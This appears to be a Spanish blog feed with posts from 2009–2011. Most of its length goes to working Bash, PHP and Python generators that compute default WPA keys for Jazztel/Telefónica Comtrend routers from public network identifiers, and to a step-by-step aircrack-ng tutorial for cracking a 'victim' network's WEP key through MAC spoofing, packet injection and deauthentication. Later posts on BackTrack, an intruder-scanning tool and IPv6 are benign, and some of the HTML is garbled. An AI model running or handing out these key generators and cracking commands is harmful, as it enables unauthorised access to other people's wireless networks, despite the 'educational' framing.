¡De todo un poco! » Wi-Fi

Generador de claves WPA para JAZZTEL_XXXX y WLAN_XXXX

TBG0Cool — Sun, 20 Feb 2011 02:55:55 +0000

Hace muy poco se ha hecho público el algoritmo que genera las contraseñas de los routers Comtrend, que ofrece MoviStar (Telefonica) y Jazztel a sus clientes para acceder a Internet. Esto significa que si eres un cliente de MoviStar o de Jazztel y al recibir tu router no has cambiado la contraseña, es casi como si no la tuvieras. En estos momentos es mas sencillo calcular esa clave WPA que sacar una clave WEP.

Este mecanismo de generación de claves, basado en el BSSID y el ESSID del router (uno es lo que se conoce como el “nombre la red, habitualmente WLAN_XXXX en routers de MoviStar y Jazztel_XXXX en routers de Jazztel) y otro la dirección MAC del router (escrita normalmente en su base). Estos dos datos son públicos cuando se usa Wi-Fi, por tanto, cualquiera puede calcular la clave.

El algoritmo combina estos dos valores, les concatena la cadena bcgbghgg al comienzo, calcula el hash MD5 y se queda con los 30 primeros caracteres. Los detalles pueden ser consultados, en diferentes lenguajes de programación que les mostraré a continuación. Como pueden ver no es necesario capturar ningún paquete.

Ejemplo en BASH

#!/bin/bash                                                                     
 
echo CalcWLAN by a.s.r
 
if [ $# -ne 2 ]
then
        echo "Usage: $0 < essid > < bssid >"
        echo
        echo "Example: $0 WLAN_C58D 64:68:0C:C5:C5:90"
        exit 1
fi
 
HEAD=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)
BSSID=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d :)
BSSIDP=$(echo -n "$BSSID" | cut -c-8)
KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20)
 
echo "La puta clave es $KEY"

Ejemplo en PHP

 
< ?php
// This code is under the public domain
// neikokz (at) gmail (dot) com
 
if (isset($_GET['mirror']) && $_GET['mirror'] == 1)
{
    header('Content-type: text/plain; charset=utf-8');
    die(file_get_contents(__FILE__));
}
 
function right($string, $chars)
{
   return substr($string, strlen($string) - $chars, $chars);
}
 
if (isset($_POST['essid']) && isset($_POST['bssid']))
{
   $bssid = preg_replace('/:/', '', strtoupper(trim($_POST['bssid'])));
 
   if (strlen($bssid) != 12)
   {
      die('Mete bien la MAC, buen hombre.');
   }
 
   $essid = strtoupper(trim($_POST['essid']));
   $_ssid = substr($bssid, 0, 8).right($essid, 4);
 
   die(substr(md5('bcgbghgg'.$_ssid.$bssid), 0, 20));
}
 
if (isset($_POST['bssid_only']))
{
   $bssid = preg_replace('/:/', '', strtoupper(trim($_POST['bssid_only'])));
 
   if (strlen($bssid) != 12 || hexdec($bssid) == 0)
   {
      die('Mete bien la MAC, buen hombre.');
   }
 
   $cal[] = strtoupper(dechex(hexdec(right($bssid, 4)) - 3));
   $cal[] = strtoupper(dechex(hexdec(right($bssid, 4)) - 1));
   $cal[] = right($bssid, 4);
 
   foreach ($cal as $value)
   {
     $res .= substr(md5('bcgbghgg'.substr($bssid, 0, 8).$value.$bssid), 0, 20).' o ';
   }
 
   die(substr($res, 0, strlen($res) - 4));
}
 
?>
< !DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <style type="text/css">
      #c
        { margin: 25px auto; width: 500px; font-family: 'Arial', sans-serif; color: #333; }
      #c h1
        { margin: 5px 0 10px 0; font-size: 13pt; border-bottom: 1px dotted #888; padding-bottom: 3px; }
      #c form
        { clear: both; margin: 0 0 10px 0; }
      #c p
        { font-size: 8pt; margin: 0; text-align: center; }
      #c dl
        { font-size: 9pt; }
      #c dt
        { float: left; margin-bottom: 10px; text-align: right; width: 190px; padding-top: 4px; }
      #c dd
        { margin-left: 200px; margin-bottom: 10px; }
      #c form#sin_essid
        { display: none; }
      #c input[type=text]
        { width: 300px; }
      #c input[type=submit]
        { font-weight: bold; }
      #c a
        { color: #0084b4; text-decoration: none; font-weight: bold; }
      #c a:hover
        { text-decoration: underline; }
      #c p.r
        { font-size: 10pt; padding: 5px 10px; background: #36679f; color: white; display: table; text-align: center; margin: 15px auto; border-radius: 3px; -moz-border-radius: 3px; text-shadow: 0px 1px 2px #06374f; }
      #c span
        { font-size: 8pt; }
      #c div.b
        { font-size: 10pt; padding: 5px 10px; background: #eaf3ff; display: table; text-align: center; margin: 15px auto; border-radius: 3px; -moz-border-radius: 3px; }
      #c p.q
        { font-size: 9pt; }
      #c p.y
        { font-size: 11pt; }
      #c p.q a
        { font-weight: bold; }
      #c p.q.v
        { margin-top: 3px; font-size: 8.5pt; }
      #c p.s
        { font-size: 7pt; color: #666; }
      #c div.r
        { border-radius: 5px; -moz-border-radius: 5px; background: #eee; padding: 10px; margin-bottom: 15px; }
      #c .clearit
        { clear: both; }
      a.d img
        { margin: 0 auto; display: block; }
    style>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript">script>
    <script type="text/javascript">
      function release() {
        $('#toallizar').removeAttr('disabled');
        $('#toallizar').val('Calcular');
        $('#toallizar2').removeAttr('disabled');
        $('#toallizar2').val('Calcular');
      }
      function do_toalla(v) {
       if (!v) {
         $('#toallizar').attr('disabled', 'disabled');
         $('#toallizar').val('Espera...');
         $.ajax({
           type: 'POST',
           url: '< ?php echo $_SERVER["SCRIPT_NAME"]; ?>',
           data: 'essid=' + $('#essid').val() + '&bssid=' + $('#bssid').val(),
           success: function(response) {
             release();
             $('#resultado').val(response);
           },
           error: function(response) {
             release();
             alert(':(');
           }});
       } else {
         $('#toallizar2').attr('disabled', 'disabled');
         $('#toallizar2').val('Espera...');
         $.ajax({
           type: 'POST',
           url: '< ?php echo $_SERVER["SCRIPT_NAME"]; ?>',
           data: '&bssid_only=' + $('#bssid2').val(),
           success: function(response) {
             release();
             $('#resultado').val(response);
           },
           error: function(response) {
             release();
             alert(':(');
           }});
        }
        return false;
     }
     function toggler() {
        if ($('#sin_essid').is(":visible")) {
        $('#sin_essid').hide();
        $('#con_essid').show();
        $('#toggler').html('Cambie mi ESSID');
      } else {
        $('#con_essid').hide();
        $('#sin_essid').show();
        $('#toggler').html('No cambie mi ESSID');
      }
     }
    
    <title>Generador de clavestitle>
  head>
  <body>
    <div id="c">
      <h1>Generador de claves para JAZZTEL_XXXX y WLAN_XXXXh1>
     <p><a href="#" onclick="toggler(); return false;" id="toggler">Cambie mi ESSIDa>p>
      <form onsubmit="do_toalla(0); return false;" id="con_essid">
        <dl>
         <dt>ESSID (nombre de tu red):dt>
         <dd><input type="text" name="essid" id="essid" />dd>
         <dt>BSSID (MAC de tu router):dt>
         <dd><input type="text" name="bssid" id="bssid" />dd>
         <dt>Aplica presion sobre este boton:dt>
         <dd><input type="submit" value="Calcular" id="toallizar" />dd>
        dl>
      form>
      <form onsubmit="do_toalla(1); return false;" id="sin_essid">
        <dl>
         <dt>BSSID (MAC de tu router):dt>
         <dd><input type="text" name="bssid2" id="bssid2" />dd>
         <dt>Aplica presion sobre este boton:dt>
         <dd><input type="submit" value="Calcular" id="toallizar2" />dd>
         <dt>dt>
         <dd>Se generaran tres posibles clavesdd>
        dl>
      form>
      <div class="clearit">div>
        <dl>
         <dt>Resultado:dt>
         <dd><input type="text" name="resultado" id="resultado" />dd>
       dl>
      <p class="s"><strong>v1.5strong> (< ?php echo date('d/m H:i:s', filemtime(__FILE__)); ?>)p>
    div>
 
  body>
html>

Ejemplo en HTML

< !DOCTYPE HTML>

 

WPAMagicKey
	

	
		 
		ESSID:  (4 últimos caracteres) 
		BSSID: 
		Clave:

Ejemplo en PYTHON

 
#!/usr/bin/env python
"""
    Spanish Dictionary Generators for WEP and WPA Networks library
    I know, I know, this is not PEP8'ized
    This time... fuck PEP8.
 
     Copyright (C) 2010 David Francos Cuartero
        This program is free software; you can redistribute it and/or
        modify it under the terms of the GNU General Public License
        as published by the Free Software Foundation; either version 2
        of the License, or (at your option) any later version.
 
        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.
 
        You should have received a copy of the GNU General Public License
        along with this program; if not, write to the Free Software
        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 
"""
import sys, string, hashlib
 
class Dlink():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.sm=args[0][1].split(':')
        self.dicts=[]
        self.S2=self.hexa_minus_one(self.sm[-1][1])
        self.S1=""
        if self.sm[-1][1] is 0: self.S1=self.hexa_minus_one(self.sm[-1][0])
        if self.S1 is -1: self.S2, self.S1 = [0,0]
        self.static="%s%s%s%s" %(self.sm[4], self.sm[1], self.sm[2],self.sm[3])
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return "Usage: Dlink Bssid "
        for self.F in string.hexdigits.replace('abcdef',''):
            for self.I in string.hexdigits.replace('abcdef',''):
                self.dicts.append("%s%s%s%s%s%s%s%s"
                        %(self.sm[5], self.sm[0], self.static, self.sm[5], self.static, self.sm[1], self.F, self.I))
                self.dicts.append("%s%s%s%s%s%s%s%s%s%s%s" %(
                            self.S1, self.S2, self.sm[0],self.static,
                            self.S1, self.S2, self.sm[5],self.static,self.sm[0], self.F, self.I))
                self.dicts.append("%s%s%s%s%s%s%s%s%s"
                        %(self.S1, self.S2, self.sm[0], self.static, self.sm[5], self.static, self.sm[1], self.F, self.I))
 
        return self.dicts
 
    def hexa_minus_one(self, hexa):
        if hex(int(hexa, 16) - 1).split('x')[0] == "-": return -1
        return hex(int(hexa, 16) - 1).split('x')[1]
 
class Tele2():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.sm=args[0][1].split(':')
        self.year=args[0][1]
        self.dicts=[]
        self.fixed="IX1V" + args[0][2]
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return "Usage: Tele2 year fixed_data [''|'IV']"
        [[[[[[ self.dicts.append("%s%s%s%s%s%s%s%s" %(self.fixed, self.year, a, b, c, d, e, f) ) for a in range(0,9)] for b in range(0,9)] for c in range(0,9)] for d in range(0,9)] for e in range(0,9)] for f in range(0,9)]
        return self.dicts
 
class Jazztel():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: Jazztel Bssid Essid [WPA]"
            return
        if args[0][3] is "WPA":
            self.dictionary=JazztelAndTelefonicaWPA(args).dictionary
        else:
            self.dictionary=JazztelAndTelefonica(args[0][1], args[0][2], { '00:1A:2B' : ['Comtrend', 'E001D20'] } ).dictionary
 
class Telefonica():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: Telefonica Bssid Essid"
            return
 
        self.dictionary=JazztelAndTelefonica(args[0][1], args[0][2], {
            "00:60:B3": ["Z-com", "Z001349"],
            "00:01:38": ["Xavi 7768r", "X000138"] ,
            "00:03:C9": ["Comtrend 535", "C0030DA"],
            "00:A0:C5": [ "Zyxel 650HW/660HW", "Z001349"],
            "00:16:38": [ "Comtrend_536+", "C0030DA"],
            "00:13:49": [ "P-660HW-D1", "Z001349", "Z0002CF" ] }).dictionary
 
class TelefonicaWPA():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: TelefonicaWPA Bssid Essid"
            return
 
        self.dictionary=JazztelAndTelefonicaWPA(args[0][2], args[0][1]).dictionary
 
class JazztelWPA():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: JazztelWPA Bssid Essid"
            return
 
        self.dictionary=JazztelAndTelefonicaWPA(args[0][2], args[0][1]).dictionary
 
class JazztelAndTelefonicaWPA():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.mac=args[0].replace(':','')
        self.essid=args[0].split("_")[1]
        self.static="bcgbghgg"
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return
        return [hashlib.md5(self.static + self.mac[:-4] + self.essid + self.mac).hexdigest()[:-12], ]
 
class JazztelAndTelefonica():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.sm=args[0].split(':')
        self.essid=args[1]
        self.dicts=[]
        self.valid_routers=args[2]
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return
        a=string.hexdigits.replace('abcdef','')
        try:
            for i in range(1, len(self.valid_routers[':'.join(self.sm[:3])])):
                [[[[ self.dicts.append( "%s%s%s%s%s%s%s"
                    %(self.valid_routers[':'.join(self.sm[:3])][i], \
                     m, j, k, l, self.essid[-2], self.essid[-1])) for m in a]
                        for j in a ] for k in a ] for l in a]
        except KeyError:
            raise Exception('Error: Router not valid for a jazztel or telefonica network')
 
        return self.dicts

Pinche aquí para ver el vídeo

Compartelo:

[?]

Generador de claves WPA para JAZZTEL_XXXX y WLAN_XXXX es un post de: ¡De todo un poco!

Como reventar una WEP con un LiveCD BackTrack 4

TBG0Cool — Fri, 02 Jul 2010 00:00:14 +0000

Pinche aquí para ver el vídeo

Este vídeo te enseñara como comprobar la seguridad de un punto de acceso WIFI con encriptación WEP. Es muy parecido al tutorial que publiqué hace poco. Lo publico por si han quedado dudas sin aclarar en el tutorial que he creado.

Compartelo:

[?]

Como reventar una WEP con un LiveCD BackTrack 4 es un post de: ¡De todo un poco!

Una versión vídeo para el tutorial sobre WEP (está en inglés)

TBG0Cool — Fri, 12 Feb 2010 00:00:04 +0000

Pinche aquí para ver el vídeo

Este vídeo muestra como comprobar la seguridad de un punto de acceso WIFI con encriptación WEP. Es muy parecido al tutorial que publiqué hace 2 días. He decidido publicarlo por si han quedado dudas sin aclarar en el tutorial que he creado. Lo encontré en youtube. Por desgracia esta en ingles.

Compartelo:

[?]

Una versión vídeo para el tutorial sobre WEP (está en inglés) es un post de: ¡De todo un poco!

Tutorial: Como crackear contraseñas wifi con cifrado WEP

TBG0Cool — Wed, 10 Feb 2010 00:00:48 +0000

Bueno, para empezar este tutorial ha sido creado con un propósito educativo. Lo que el usuario haga con lo aprendido en este tutorial, lo hará bajo su responsabilidad.

¿Para que nos puede servir saber crackear una contraseña de encriptación WEP? Eso no importa, esto es meramente educativo y un reto para algunos. Bueno es una tecnica que se utiliza en algunas empresas para realizar auditorías de seguridad en redes wifi. También sirve para demostrar lo frágil que es la seguridad que nuestros proveedores de Internet dejan configurada en los routers que nos regalan.

Antes que nada hay que saber cuanto es de segura la encriptación WEP. Segun Wikipedia:
{WEP, acrónimo de Wired Equivalent Privacy o “Privacidad Equivalente a Cableado”, es el sistema de cifrado incluido en el estándar IEEE 802.11 como protocolo para redes Wireless que permite cifrar la información que se transmite. Proporciona un cifrado a nivel 2, basado en el algoritmo de cifrado RC4 que utiliza claves de 64 bits (40 bits más 24 bits del vector de iniciación IV) o de 128 bits (104 bits más 24 bits del IV). Los mensajes de difusión de las redes inalámbricas se transmiten por ondas de radio, lo que los hace más susceptibles, frente a las redes cableadas, de ser captados con relativa facilidad. Presentado en 1999, el sistema WEP fue pensado para proporcionar una confidencialidad comparable a la de una red tradicional cableada.}

Para este ejercicio necesitaremos “BackTrack”, que es un sistema operativo con kernel de Linux que se utiliza exclusivamente para auditorías de seguridad. No es necesario instalarlo ya que es un LiveDVD.

Lo primero que hay que hacer es descargar la última versión de “BackTrack” y grabarla en un DVD. Después de comprobar que se ha grabado correctamente, con el DVD en la unidad reiniciamos el equipo para arrancar desde el LiveDVD. En algunos casos puede ser necesario cambiar el orden de los dispositivos de arranque en el BIOS.
Si todo es correcto nos saldrá el menú del LiveDVD, donde debemos elegir la opción indicada en la foto. Si durante el proceso de arranque hay algún fallo, deberá reiniciar el equipo e intentar una por una las siguientes opciones de la lista hasta encontrar una que le permita llegar al siguiente paso.
Llegados a este punto debemos iniciar la interfaz gráfica. Para ello utilizaremos el comando:
```
 startx
```
Con la interfaz gráfica cargada, primero tendrá que configurar el teclado. El sistema operativo de este LiveDVD está en inglés. Haga clic de derecha con el ratón sobre la bandera de “US” >> elige la opción “Configure…” >> en la ventana que se abre, elimina todos las banderas que aparecen en “Active layouts:”, >> después añade la bandera que corresponde a la configuración de tu teclado de entre las que están en “Available layouts:” y confirma con [OK]. Lo segundo de este paso será abrir la consola de comandos haciendo clic en el segundo icono.
Este es el paso donde se empieza el proceso de recuperación de contraseña. Todo el proceso lo realizaremos en la consola que hemos abierto en el paso anterior. Con el siguiente comando averiguaremos si nuestra tarjeta de red wifi está compatible con “BackTrack”. Si el sistema reconoce tu interfaz wifi, te mostrará algo como eth1 o wlan0. Este es el nombre de la interfaz y lo deberá utilizar en todos los comandos que sigan.
```
 airmon-ng
```
Los siguientes 2 comandos desactivarán la interfaz wifi preparándola para el siguiente paso. Hay que ejecutarlos uno detrás del otro sin olvidar remplazar “(interface)” por el nombre de la interfaz obtenido en el paso anterior.
Ej: “airmon-ng stop eth1”
```
 airmon-ng stop (interface)
 ifconfig (interface) down
```
Como todo buen hacker informático, debes cuidar la seguridad así que cambiaremos la mac del dispositivo. La mac esta formada por 6 grupos de 2 digitos separados por “:”. Los caracteres permitidos son “0123456789ABCDEF”.
```
 macchanger --mac 00:11:22:33:44:55 (interface)
```

Volvemos a activar la interfaz:

 ifconfig (interface) up
 airmon-ng start (interface)

Ahora revisaremos todas las redes wifi con encriptación WEP, disponibles. Entre ellas tenemos que elegir a la que queremos atacar:
```
 airodump-ng (interface) --encrypt wep
```
Despues de ver la lista y elegir a nuestra victima pararemos el proceso con la combinación de teclas [Ctrl]+[C].
Abriremos una nueva pestaña presionando en el icono que aparece en la esquina izquierda abajo en nuestra consola.
Utilizando la información recompilada en el paso 9, iremos componiendo el siguiente comando:
```
 airodump-ng (interface) --bssid (bssid) -c (channel) -w (captura)
```
Se deben remplazar los siguientes parámetros:
(interface) es el nombre de la interfaz que obtuvimos en el paso 5. Ej. eth0, wlan1, …
(bssid) es la mac o bssid del router que queremos atacar. Ej: 00:13:49:CA:FE:00.
(captura) es el nombre de archivo en el que se guardará la información capturada. Yo suelo utilizar la essid, así me es mas fácil recordar que información contiene.

El router que elegimos en este paso es de vital importancia. Si no tenemos que descifrar una señal concreta, lo ideal sería elegir la bssid que mas tráfico de datos tenga. Si encontramos una que tenga suficiente tráfico de datos para que no tengamos que inyectar tráfico falso, nos podríamos saltar los siguientes 3 pasos.**
**Si es una de las que tienen tráfico, pero muy poco, debemos inyectar tráfico falso. Para ello abrimos una nueva pestaña y en ella ponemos el siguiente comando.
```
 aireplay-ng (interface) -3 –b (bssid) -h (MacCliente)
```
La (interface) y la (bssid) ya sabes con que hay que remplazarlas. La (MacCliente) es la dirección Mac en formato XX:XX:XX:XX:XX:XX del cliente que este generando el tráfico. Este proceso captura partes del tráfico que este cliente realiza y lo vuelve a enviar al router como si viniera del mismo cliente. Esto aumentará la velocidad con la que se capturan los paquetes. En definitiva, nos ahorrará tiempo. Si con esto ya tenemos suficiente tráfico de datos, nos podemos saltar los siguientes 2 pasos.
**Si hemos decidido hacer todo esto en un punto de acceso que no tiene tráfico, además de todos los pasos anteriores, debemos realizar también este y el siguiente paso. Abrimos una nueva pestaña como hemos visto en el paso 10. En ella ponemos el siguiente comando:
```
 aireplay-ng (interface) -1 10 -a (bssid)
```
Este comando enviará 10 paquetes malformados al router haciéndole creer que somos un cliente que ya esta autentificado. Al pensar que somos un cliente autentificado el router nos enviará un paquete con datos encriptados. Este será el paquete que capturaremos con el paso anterior. He de tener en cuenta que en este caso nosotros seriamos el cliente, por lo tanto el valor del (MacCliente) seria nuestra mac. La que definimos en el paso 7. Ej: 00:11:22:33:44:55
**Mientras se ejecutan los comandos anteriores, abrimos una nueva pestaña como hemos visto en el paso 10. En ella ponemos el siguiente comando:
```
 aireplay-ng (interface) -0 0 -a (bssid) –c (MacCliente)
```
Este paquete malformado provocará que el router nos desautentifique, permitiendo así que el proceso anterior vuelva a autentificarnos generando otro paquete de datos.
En este momento volvemos a la pestaña numero 2, que es en la que se captura en tráfico y comprobamos cuantos paquetes tenemos capturados y si se sigue capturando. He de tener en cuenta que para descifrar una clave wep de 64bits se necesitan unos 40000 paquetes capturados, y para una de 128bits unos 80000. Esto es lo recomendado lo que no impide que el siguiente comando consiga descifrarla antes. Así que abrimos una última pestaña y en ella ponemos:
```
 aircrack-ng (captura)*.cap
```
No olviden remplazar la variable (captura) con la que definimos en el paso 11 seguido de “*.cap”. Ej: wlan_xx*.cap. Este proceso empezara a escanear los paquetes que hemos capturado en busca de la clave. El proceso se repite automáticamente cada 5000 paquetes capturados, así que si con 5000 paquetes no encuentra la clave cuando la captura de paquetes llegue a 10000 volverá a buscar, luego a los 15000, 20000, …hasta encontrarla. Lo único que hará falta es esperar.
Tras esperar un rato, en la ultima pestaña que hemos abierto aparecerán dos mensajes “KEY FOUND!” + “Decrypted correctly: 100%”. Esto significa que ya tenemos nuestra clave. La clave que nos abrirá las puertas de nuestro punto de acceso es la que aparece donde pone ASCII.

Compartelo:

[?]

Tutorial: Como crackear contraseñas wifi con cifrado WEP es un post de: ¡De todo un poco!

Backtrack 4 Final

TBG0Cool — Mon, 18 Jan 2010 00:00:16 +0000

Tras 18 meses de desarrollo, Remote Exploit ha liberado la nueva y muy, muy esperada versión 4.0 de la distribución GNU/Linux BackTrack, pensada y enfocada a la auditoría de seguridad e informática en general, y especializada en test de penetración. Es una distribución con descarga y uso gratuito que puedes probar desde el mismo disco sin modificar tu equipo bajo el formato Live, que puede ser instalada en disco y también usada con imagen VMWare. Los autores aseguran que tras los 18 meses de desarrollo “es la mejor edición de BackTrack” liberada hasta la fecha.

Esta nueva versión incluye las correcciones de los errores reportados en las versiones previas del desarrollo, el nuevo kernel 2,6.30.9, un conjunto de herramientas más grande y ampliado (más de 300) y soporte hardware mejorado y extendido especialmente para chips de conexión inalámbrica Wi-Fi.

Como en versiones anteriores, la mayoría de usuarios usará BackTrack 4.0 para auditoría Wireless, aunque su potencial es inmenso incluyendo numerosos escáneres de puertos y vulnerabilidades, análisis forense, archivos de exploits o sniffers. Al habitual LiveDVD se añade la posibilidad de instalación en disco duro, desde unidad óptica o llavero Flash USB, contando además con una imagen para el sistema de virtualización por software VMware.

Compartelo:

[?]

Backtrack 4 Final es un post de: ¡De todo un poco!

Zamzom Wireless: ¿Cuantos vecinos están enganchados a mi red WIFI?

TBG0Cool — Mon, 05 Oct 2009 00:00:38 +0000

Zamzom Wireless es una aplicación gratuita y muy fácil de usar la que te permite comprobar si hay intrusos utilizando tu red WiFi. Escanea tu red en busca de otros ordenadores en el rango de direcciones IP. Es muy sencillo de utilizar solo debes hacer click en “Fast Scan” y te mostrará una tabla con direcciones IP y MAC de las PCs conectadas. También tienes la opción de escaneo en profundidad con la que detecta rápidamente si alguien está conectado. La versión basic solo te muestra las direcciones pero no los identifica, tendrás que averiguar por otros medios. Está disponible solamente en inglés y funciona bajo plataformas de Windows XP y Vista.También esta disponible en versión Premium por unos 12,50€.

Pinche aquí para ver el vídeo

Compartelo:

[?]

Zamzom Wireless: ¿Cuantos vecinos están enganchados a mi red WIFI? es un post de: ¡De todo un poco!

Introducción al Internet Protocol Versión 6 (IPv6)

TBG0Cool — Mon, 03 Aug 2009 23:00:05 +0000

El protocolo IPv6 es una nueva versión de IP (Internet Protocol), diseñada para reemplazar a la versión 4 (IPv4) RFC 791, actualmente en uso. Diseñado por Steve Deering de Xerox PARC y Craig Mudge, IPv6 está destinado a sustituir a IPv4, cuyo límite en el número de direcciones de red admisibles está empezando a restringir el crecimiento de Internet y su uso, especialmente en China, India, y otros países asiáticos densamente poblados. Pero el nuevo estándar mejorará el servicio globalmente; por ejemplo, proporcionará a futuras celdas telefónicas y dispositivos móviles con sus direcciones propias y permanentes. A día de hoy se calcula que las dos terceras partes de las direcciones que ofrece IPv4 ya están asignadas.

IPv4 posibilita 4.294.967.296 (232) direcciones de red diferentes, un número inadecuado para dar una dirección a cada persona del planeta, y mucho menos a cada vehículo, teléfono, PDA, etcétera. En cambio, IPv6 admite 340.282.366.920.938.463.463.374.607.431.768.211.456 (2128 o 340 sextillones de) direcciones —cerca de 3,4 × 1020 (340 trillones de) direcciones por cada pulgada cuadrada (6,7 × 1017 o 670 mil billones de direcciones/mm2) de la superficie de La Tierra.

Propuesto por el Internet Engineering Task Force en 1994 (cuando era llamado “IP Next Generation” o IPng), la adopción de IPv6 por parte de Internet es menor, la red todavía está dominada por IPv4. La necesidad de adoptar el nuevo protocolo debido a la falta de direcciones ha sido parcialmente aliviada por el uso de la técnica NAT. Pero NAT rompe con la idea originaria de Internet donde todos pueden conectarse con todos y hace difícil o imposible el uso de algunas aplicaciones P2P, de voz sobre IP y de juegos multiusuario. Un posible factor que influya a favor de la adopción del nuevo protocolo podría ser la capacidad de ofrecer nuevos servicios, tales como la movilidad, Calidad de Servicio (QoS), privacidad, etc.

Para los interesados les dejo un pequeño manual explicativo y unos cuantos enlaces para ampliar sus conocimientos.

1.-Introducción

Bueno, esta es la primera vez que redacto un texto y pues espero ser lo más claro posible, usar los términos adecuados y pues que todos entiendan este texto.
El objetivo de este texto es dar a conocer así en forma muy general la nueva versión del protocolo IP, ya que en la actualidad la mayoría de paises aun estamos trabajando con la versión 4 (ipv4) y la nueva versión pues ofrece muchas ventajas que la versión anterior (aunque tampoco se salva de contras). Escribí este texto ya que creo que absolutamente TODOS debemos estar al corriente de las nuevas tecnologías y así pues prepararnos mejor para el futuro (eso suena bien consejo de la abuela XD ). Finalmente, les dejo aquí una pequeña INTRODUCCIÓN a este protocolo IP (Internet Protocol), y al final de este artículo dejaré unos links de apoyo sobre el tema… Comenzamos !.

2.-Descripción

IPv6, también llamado IPng (next generation internet protocol) es la nueva versión del conocido protocolo IP, el cual viene a reemplazar la versión anterior (IPv4) de forma GRADUAL. El principal motivo de la creación de esta versión es ampliar el número de direcciones IP, que las que se tenían
pensadas en la versión 4.
IPv4, con la que trabajamos actualmente es una dirección de 32 bits formada por 4 grupos de 8 bits cada uno, con esta versión de ip se tenían como máximo 2^32 direcciónes IP (4,294,967,296) y los creadores de ésta pues creían que con esto era suficiente para siempre , pero actualmente se están saturando el número de direcciones y pues en poco tiempo ya no quedarán direcciones para más equipos montados a la red.
En cambio, el formato de dirección de IPv6 es de 128 bits, la cual está
formada por 8 grupos de 16 bits cada uno (cada grupo de 16 bits en valor hexadecimal), con esto tenemos que el total de direcciones ip es 2^128 (3.402823669 e38, o sea sobre 1,000 sixtillones), ahora si podremos estár seguro que las direcciones IP nos durarán un BUEN TIEMPO HEE , y no solo para ordenadores, ya que también podremos conectar otros dispositivos a la red tales como PDA’s, teléfonos, lavadoras, neveras… todo en internet =).

He aqui una comparación de IPv4 con IPv6

IPv4

8 8 8 8
xxx.xxx.xxx.xxx
—————
4 grupos de 8 bits
total de direcciones= 4,294,967,296
dirección de 32 bits

IPv6

16 16 16 16 16 16 16 16
xxxx.xxxx.xxxx.xxxx.xxxx.xxxx.xxxx.xxxx
——————————————-
8 grupos de 16 bits (en valor hexadecimal)
total de direcciones= 3.402823669 e38
dirección de 128 bits

3.-Características Principales

Como el tema lo dice , unas de las principales características de este protocolo, aparte de la ya mencionada antes (que es la principal) sobre la expansión en el número de direcciones IP son las siguientes:

SEGURIDAD: Este aspecto es muy importante, y pues en esta versión de ip se introdujo IPSec el cual permite autenticación y encriptación del protocolo base, y pues con esto todas las aplicaciónes de red funcionando con este protocolo se beneficiarán de esta nueva característica. OJO hee, ya que IPSec ES UN REQUERIMIENTO DE IPv6.

SIMPLIFICACION DE ENCABEZADO (HEADER): Pues esta sección también se ve afectada con el cambio de versiones, ya que en los encabezados de la versión anterior habían muchos campos muy deficientes o inservibles, y pues en la versión 6 simplemente se QUITARON esos campos o se hacen opcionales.

AUTOCONFIGURACION: IPv6 cuenta con un sistema, mmmm llamémosle PLUG & PLAY, ya que al iniciar un equipo en red, pues este detecta automáticamente una configuración, como si tuviera un sistema DHCP. Pues aqui lo que hace es que INTENTA AUTOCONFIGURARSE y encontrar la salida o el gateway a internet, a esta nueva funcionalidad se le es llamada ROUTING DISCOVERY (Juar ! por fin encuentra el camino a internet por si solo XD ).

4.-Nomenclatura

Recordemos pues que las direcciones ip versión 4 eran de este y único tipo, fáciles de recordar, con única forma de escribir y en valor decimal:

xxx.xxx.xxx.xxx ejemplo: 200.65.30.139

Ahora, esto se hace un poco más complejo heee , ya que hay varios, digámosle tipos de simplificaciones de la dirección. El tipo de una ip versión 6 es la siguiente:

xxxx.xxxx.xxxx.xxxx.xxxx.xxxx.xxxx.xxxx ejemplo:
FEDC:BA98:7654:3210:FEDC:BA98:7654:3210

Como mencioné antes, existen algunas formas de simplificar direcciones de la nueva generación, por ejemplo, si en una dirección hay 0000 (ceros) se puede simplificar con un simple 0 ya que no es necesario escribir todos los ceros a la izquierda. Cuando 2 o más campos consecutivos están llenos de 0′s
(ceros) se puede simplificar de la siguiente manera:

…:0000:0000:0000:… —> …:0:0:0:… —> ….::…. (todos los campos con 0 = :: )

esta regla se usa siempre y cuando los campos con valor = 0 sean consecutivos y SOLO UNA VEZ SE PUEDE USAR :: EN UNA DIRECCION IP. Por ejemplo:

2002:0450:0009:0010:0000:0000:0000:0071 —> 2002:450:9:10::71

Y cuando nos encontremos con direcciónes en donde hayan campos consecutivos con 0′s en diferentes partes, SOLAMENTE SE PODRÁ REPRESENTAR UN CONJUNTO DE 0′s CON :: UNA SOLA VEZ, Y LOS DEMAS CAMPOS CON 0′s SE TIENEN QUE REPRESENTAR ASÍ :0:0:0… bla bla bla. Por ejemplo, la dirección:

FFFF:0:0:0:FFFF:0:0:0 solamente se podrá comprimir en FFFF::FFFF:0:0:0 ó en FFFF:0:0:0:FFFF:: pero NUNCA EN FFFF::FFFF:: ya que como dije antes, solamente un conjunto de 0′s puede ser compreso en una dirección y los demás serán representados. (Repásenle varias veces )

